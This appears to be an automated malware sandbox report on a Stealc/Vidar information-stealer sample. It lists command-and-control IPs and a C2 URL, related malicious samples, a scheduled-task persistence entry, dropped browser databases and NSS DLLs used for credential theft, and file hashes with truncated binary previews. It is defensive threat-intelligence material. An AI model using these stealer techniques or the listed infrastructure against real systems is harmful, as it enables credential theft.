Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
16:52:49	API Interceptor	9127019x Sleep call for process: oobeldr.exe modified
21:52:16	Task Scheduler	Run new task: Telemetry Logging path: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
45.152.113.10	file.exe	Get hash	malicious	Stealc	Browse	45.152.113.10/92335b4816f77e90.php
	file.exe	Get hash	malicious	Stealc	Browse	45.152.113.10/92335b4816f77e90.php
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	45.152.113.10/92335b4816f77e90.php
	file.exe	Get hash	malicious	Stealc	Browse	45.152.113.10/92335b4816f77e90.php
	file.exe	Get hash	malicious	Stealc	Browse	45.152.113.10/92335b4816f77e90.php
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	45.152.113.10/92335b4816f77e90.php
	file.exe	Get hash	malicious	Stealc	Browse	45.152.113.10/92335b4816f77e90.php
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	45.152.113.10/92335b4816f77e90.php
	file.exe	Get hash	malicious	Stealc	Browse	45.152.113.10/92335b4816f77e90.php
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	45.152.113.10/92335b4816f77e90.php
198.54.120.231	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	PM7K6PbAf0.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Neoreklami, PureLog Stealer, RedLine, Stealc	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
evokeedgellc.com	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	198.54.120.231
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	198.54.120.231
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	198.54.120.231
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	198.54.120.231
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	198.54.120.231

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NAMECHEAP-NETUS	z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Get hash	malicious	FormBook	Browse	199.192.19.19
	http://jnhxqc.com/	Get hash	malicious	Unknown	Browse	162.0.229.97
	x.exe	Get hash	malicious	FormBook	Browse	162.0.238.43
	bin.exe	Get hash	malicious	FormBook	Browse	162.0.238.43
	Order#Qxz091124.exe	Get hash	malicious	FormBook	Browse	162.0.236.169
	INV & BANK DETAILS LETTER.pdf.exe	Get hash	malicious	FormBook	Browse	199.192.21.169
	Remittance advice.exe	Get hash	malicious	FormBook	Browse	162.0.239.141
	http://gulf-uae.com/953442816569005250060051bi2sxgen-pgx-878723564006-ifxyeonkim-isxskyline-holt.comsf-1MC4w	Get hash	malicious	HTMLPhisher	Browse	185.61.154.40
	https://croarderde-f58dcd.ingress-baronn.ewp.live/wp-content/plugins/P-egeneceler/pages/region.php	Get hash	malicious	Unknown	Browse	63.250.43.10
	http://gulf-uae.com/544357236488404200309078bi2sxgen-pgx-512994112049-ifxtami-isxgheenirrigation.comsf-1MC4w	Get hash	malicious	HTMLPhisher	Browse	185.61.154.40
CODECCLOUD-AS-APCodecCloudHKLimitedHK	file.exe	Get hash	malicious	Stealc	Browse	45.152.113.10
	file.exe	Get hash	malicious	Stealc	Browse	45.152.113.10
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	45.152.113.10
	file.exe	Get hash	malicious	Stealc	Browse	45.152.113.10
	file.exe	Get hash	malicious	Stealc	Browse	45.152.113.10
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	45.152.113.10
	file.exe	Get hash	malicious	Stealc	Browse	45.152.113.10
	PM7K6PbAf0.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Neoreklami, PureLog Stealer, RedLine, Stealc	Browse	45.152.113.10
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	45.152.113.10
	file.exe	Get hash	malicious	Stealc	Browse	45.152.113.10

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	198.54.120.231
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	198.54.120.231
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	198.54.120.231
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	198.54.120.231
	SN890156.exe	Get hash	malicious	Azorult, GuLoader	Browse	198.54.120.231
	Unincriminated.exe	Get hash	malicious	Azorult, GuLoader	Browse	198.54.120.231
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer, PureLog Stealer, RedLine, Socks5Systemz	Browse	198.54.120.231
	rfq_last_quater_product_purchase_order_import_list_11_06_2024_000000110924.cmd	Get hash	malicious	GuLoader, Remcos	Browse	198.54.120.231
	SecuriteInfo.com.Win32.DropperX-gen.32301.17258.exe	Get hash	malicious	Unknown	Browse	198.54.120.231
	SecuriteInfo.com.Win32.DropperX-gen.32301.17258.exe	Get hash	malicious	Unknown	Browse	198.54.120.231

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer, PureLog Stealer, RedLine, Socks5Systemz	Browse
	information_package.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
C:\ProgramData\JKJDAEBFCB.exe	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, Stealc, Vidar	Browse
	gHPYUEh253.exe	Get hash	malicious	Djvu, Neoreklami, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, LummaC Stealer	Browse

Created / dropped Files

C:\ProgramData\AAFIIJDA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BKKJKFBKKECFHJKEBKEHIDAEBK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBKJKJDBFIIDHJKEHJEH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHIECGCAEBFIIDHIDGIE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHJKFCGH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCGIDGCGIEGDGDGDGHJK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\GDHIDHIEGIIIECAKEBFBAAEBKF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIJDBGDGCGDAKFIDGIDBFIEHDH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKJDAEBFCB.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: gHPYUEh253.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: information_package.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

